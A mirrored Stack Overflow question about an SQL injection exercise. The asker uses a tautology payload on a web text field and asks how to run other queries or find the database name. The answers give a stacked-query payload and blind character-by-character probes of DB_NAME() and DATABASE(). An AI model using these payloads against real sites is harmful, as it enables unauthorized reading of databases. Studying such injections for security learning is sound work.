SQL Injection - MYSQL

只谈情不闲聊 提交于 2019-12-11 01:28:33

问题


I'm doing an exercise on the SQL Injection, the query is given. The data comes in between ''. So this is the query:

select * from contacts where name = ''

I managed to see the users in the table using this:

select * from contacts where name = 'anything' or 1='1'

But my question is how I can write it so that I can write a new query? Or see the database name for example so that I can check other tables.

EDIT:

To avoid confusion the query is not given to us, there is a textfield on a webpage, that's what we use to do SQL injection.

So imagine the query is being this:

select * from contacts where name = ''

And I wrote this to the text field, to see all the users.

anything' or 1='1

I'm trying to understand how I can use this textfield, to see the name of the database, or run other queries.

Thank you.


回答1:


So if the query is :

select * from contacts where name = ''

You can try something like:

'; select * from anotherTableName'



回答2:


If your data does not return multi-result sets then you can so something like:

In SQL Server

SELECT  * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=1
SELECT  * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=2
SELECT  * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=3
...

Until you get all the correct indexes of the characters in the name.

In MySQL it would be something like:

SELECT  * FROM Contact WHERE LastName='o_O' OR INSTR(DATABASE(),'A') =1
SELECT  * FROM Contact WHERE LastName='o_O' OR INSTR(DATABASE(),'A') =2
SELECT  * FROM Contact WHERE LastName='o_O' OR INSTR(DATABASE(),'A') =3
...


来源:https://stackoverflow.com/questions/47837400/sql-injection-mysql

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!